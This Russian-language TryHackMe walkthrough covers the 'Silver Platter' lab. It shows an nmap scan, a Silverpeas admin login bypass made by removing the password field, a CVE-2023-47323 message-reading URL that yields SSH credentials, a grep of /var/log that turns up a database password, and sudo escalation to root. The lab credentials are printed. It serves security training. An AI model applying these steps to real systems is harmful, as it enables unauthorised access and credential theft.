TryHackMe - Silver Platter
Довольно весёлая комната, в которой мы эксплуатируем уязвимость входа в приложение Silverpeas
Введение
Довольно весёлая комната, в которой мы эксплуатируем уязвимость входа в приложение Silverpeas, а затем используем ещё одну CVE, чтобы получить флаги пользователя и root.
Думаешь, у тебя есть всё необходимое, чтобы перехитрить команду Hack Smarter Security? Они утверждают, что их невозможно взломать — и теперь у тебя есть шанс доказать обратное. Погрузись в их веб‑сервер, найди скрытые флаги и покажи миру свои элитные навыки хакинга. Удачи, и пусть победит сильнейший!
Но будь осторожен — это не прогулка по цифровому парку. Hack Smarter Security укрепили сервер против стандартных атак, а их политика паролей требует использовать пароли, которые не были скомпрометированы (они проверяют их по словарю rockyou.txt — вот такие они «крутые»). Испытание брошено, и пришло время повысить уровень своей игры. Помни: наверх поднимаются только самые изобретательные.
Пусть твой код будет быстрым, эксплойты — безупречными, а победа — твоей!
Nmap
Начнём со сканирования nmap:
1
2
3
4
5
6
7
8
9
10
11
nmap -T4 -n -sC -sV -Pn -p- 10.10.200.35
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 1b:1c:87:8a:fe:34:16:c9:f7:82:37:2b:10:8f:8b:f1 (ECDSA)
|_ 256 26:6d:17:ed:83:9e:4f:2d:f6:cd:53:17:c8:80:3d:09 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Hack Smarter Security
8080/tcp open http-proxy
|_http-title: Error
Из результатов nmap видно доступные порты:
22/tcp
80/tcp
8080/tcp
Разведка
Проверяя страницу контактов, можно заметить возможное имя пользователя и приложение Silverpeas:
Быстрый поиск в Google даёт нам важную информацию.
По умолчанию Silverpeas использует страницу входа по адресу http://localhost:8080/silverpeas, поэтому попробуем её.
Нас сразу перенаправляет на страницу входа:

После быстрого поиска в Google мы находим возможную уязвимость, связанную со страницей входа:
Подробная информация об уязвимости доступна здесь:
https://gist.github.com/ChrisPritchard/4b6d5c70d9329ef116266a6c238dcb2d
Также, после поиска стандартного имени пользователя Silverpeas, выясняется, что это SilverAdmin.
Перехват HTTP‑запроса через BurpSuite
Попробуем сформировать POST‑запрос через BurpSuite.
Оригинальный запрос:
Изменённый запрос после удаления поля Password:
Мы вошли в систему как администратор.
После ещё одного поиска уязвимостей Silverpeas мы находим: https://github.com/RhinoSecurityLabs/CVEs/tree/master/CVE-2023-47323
По сути, мы можем читать любые сообщения по адресу:
http://localhost:8080/silverpeas/RSILVERMAIL/jsp/ReadMessage.jsp?ID=[messageID]
После нескольких попыток мы находим сообщение с ID 6:
SSH‑доступ
Теперь мы можем использовать эти учётные данные для входа по SSH как пользователь tim:
1
2
username: tim
password: cm0nt!md0ntf0rg3tth!spa$$w0rdagainlol
И получаем пользовательский флаг:
Проверив группы, мы видим, что tim состоит в группе adm:
1
2
tim@silver-platter:~$ id
uid=1001(tim) gid=1001(tim) groups=1001(tim),4(adm)
После выполнения следующей команды мы находим логи с паролем базы данных:
1
tim@silver-platter:~$ grep -Ri 'password' /var/log 2>/dev/null
1
COMMAND=/usr/bin/docker run --name silverpeas -p 8080:8000 -d -e DB_NAME=Silverpeas -e DB_USER=silverpeas -e DB_PASSWORD=_Zd_zx7N823/
Пробуем комбинацию пользователя и пароля БД:
1
2
3
tim@silver-platter:~$ su tyler
Password:
tyler@silver-platter:/home/tim$
Теперь, проверив группы, видно, что у нас гораздо больше привилегий:
1
2
tyler@silver-platter:/home/tim$ id
uid=1000(tyler) gid=1000(tyler) groups=1000(tyler),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd)
На самом деле, у нас уже есть доступ sudo:
1
2
3
tyler@silver-platter:/home/tim$ sudo -l
User tyler may run the following commands on silver-platter:
(ALL : ALL) ALL
Теперь мы можем просто переключиться на root:
1
2
tyler@silver-platter:/home/tim$ sudo su root
root@silver-platter:/home/tim#
Root Flag
И забираем root‑флаг:









